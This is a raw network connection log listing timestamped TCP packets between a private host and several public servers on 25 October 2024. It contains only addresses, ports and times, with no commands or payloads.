Oct 25, 2024 22:07:40.182586908 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.182589054 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.182641029 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.182677984 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.183001995 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.183037043 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.183058023 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.183248043 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.183285952 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.183351040 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.247957945 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.248029947 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.248107910 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.248308897 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:40.248342991 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.363084078 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.363598108 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.363686085 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.364312887 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.364329100 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.364382029 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.364398956 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.752650976 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.752686024 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.752716064 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.752757072 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.752788067 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.752806902 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.753144979 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.753160954 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.753170967 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.753357887 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.753406048 CEST	443	49713	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.753446102 CEST	49713	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.807971001 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.808018923 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:41.808089018 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.808301926 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:41.808310986 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:42.574521065 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 25, 2024 22:07:42.925728083 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:42.926651955 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:42.926671982 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:42.927376032 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:42.927381039 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:42.927413940 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:42.927419901 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.279505968 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.279531956 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.279562950 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.279583931 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:43.279591084 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.279628038 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:43.279977083 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:43.279980898 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.279993057 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:43.280144930 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.280177116 CEST	443	49714	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:43.280227900 CEST	49714	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:47.029436111 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:08:00.245702982 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:00.245750904 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:00.245809078 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:00.246062040 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:00.246074915 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:00.246428967 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:00.246527910 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:00.246609926 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:00.246783018 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:00.246819973 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.221743107 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.221996069 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.222023964 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.223563910 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.223628044 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.224486113 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.224572897 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.224585056 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.224684954 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.224694014 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.224935055 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.224994898 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.226110935 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.226185083 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.226479053 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.226551056 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.265454054 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.282133102 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.282170057 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.328444004 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.932224035 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.932290077 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.932384014 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.932410955 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.932451010 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:01.932503939 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.933028936 CEST	49718	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:01.933043003 CEST	443	49718	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.004255056 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.004348040 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.004353046 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.004436016 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.004452944 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.004463911 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.004611015 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.004659891 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.004661083 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.004697084 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.004801989 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.004846096 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.004991055 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.005031109 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.005155087 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.005155087 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.005176067 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.005209923 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.005229950 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.005244017 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.972779989 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.973092079 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.973171949 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.973547935 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:02.973855972 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:02.973939896 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.019450903 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.213408947 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.215169907 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.215393066 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.215482950 CEST	49719	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.215528965 CEST	443	49719	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.227058887 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.252147913 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:03.252242088 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:03.252461910 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:03.252521992 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:03.252541065 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:03.267339945 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.531266928 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.531295061 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.531301975 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.531510115 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.531578064 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.577600002 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.708381891 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.708394051 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.708610058 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.709141016 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.709148884 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.709213018 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.709791899 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.709799051 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.709856987 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.711663008 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.711669922 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.711730003 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.886825085 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.886840105 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.886897087 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.887054920 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.887126923 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.887171030 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.887195110 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.887381077 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.887459040 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.888519049 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.888603926 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.889208078 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.889291048 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.890003920 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.890074968 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.890270948 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.890335083 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.892524004 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.892589092 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.892600060 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.892623901 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.892647982 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.892683029 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.892741919 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.892761946 CEST	443	49721	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.892772913 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.892808914 CEST	49721	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.997251034 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.997339964 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:03.997559071 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.997651100 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:03.997675896 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:04.108268023 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.108664989 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.108726978 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.110476017 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.110567093 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.111445904 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.111542940 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.111617088 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.111634970 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.151487112 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.473032951 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.473072052 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.473083973 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.473118067 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.473143101 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.473165035 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.473242044 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.473278999 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.473304033 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.475246906 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.475274086 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.475363970 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.475383997 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.475442886 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.569569111 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:04.569624901 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:04.569809914 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:04.569900990 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:04.569915056 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:04.590627909 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.590692997 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.590786934 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.590894938 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.590894938 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.590965986 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.591005087 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.591062069 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.591384888 CEST	49722	443	192.168.2.16	18.245.31.78
Oct 25, 2024 22:08:04.591418982 CEST	443	49722	18.245.31.78	192.168.2.16
Oct 25, 2024 22:08:04.690499067 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:04.690579891 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:04.690767050 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:04.690942049 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:04.690963030 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:04.720997095 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721045971 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.721054077 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721096039 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.721167088 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721175909 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.721178055 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721249104 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721272945 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721532106 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721568108 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.721718073 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:04.721756935 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:04.721821070 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:04.721873999 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.721892118 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.722017050 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.722031116 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.722141027 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:04.722174883 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:04.722664118 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.722672939 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.722723961 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.722934008 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.722946882 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.723949909 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:04.723958969 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:04.724028111 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:04.724255085 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:04.724267960 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:04.780031919 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.780117989 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.780194044 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.780539036 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:04.780571938 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:04.789238930 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:04.789278030 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:04.789338112 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:04.789664030 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:04.789676905 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:04.969451904 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:04.969717979 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:04.969782114 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:04.971330881 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:04.971407890 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:04.971681118 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:04.971774101 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:04.971811056 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.019332886 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.026547909 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.026576996 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.074557066 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.517781973 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.517813921 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.517822981 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.517839909 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.517980099 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.517981052 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.518014908 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.527134895 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.527143955 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.527332067 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.527352095 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.527362108 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.527384043 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.527422905 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.527463913 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.531635046 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.531728983 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.538280964 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:05.538532019 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:05.538544893 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:05.539808989 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:05.539886951 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:05.540918112 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:05.540983915 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:05.574167013 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:05.574596882 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:05.574645042 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:05.576339006 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:05.576581955 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:05.576879025 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:05.576993942 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:05.577008009 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:05.583462000 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:05.583475113 CEST	443	49724	142.250.186.68	192.168.2.16
Oct 25, 2024 22:08:05.630538940 CEST	49724	443	192.168.2.16	142.250.186.68
Oct 25, 2024 22:08:05.630739927 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:05.630799055 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:05.642780066 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.642995119 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.643414021 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.643496037 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.649442911 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.649622917 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.650799990 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.650861979 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.651607990 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.651679039 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.653150082 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.653213978 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.654652119 CEST	443	49723	185.45.66.155	192.168.2.16
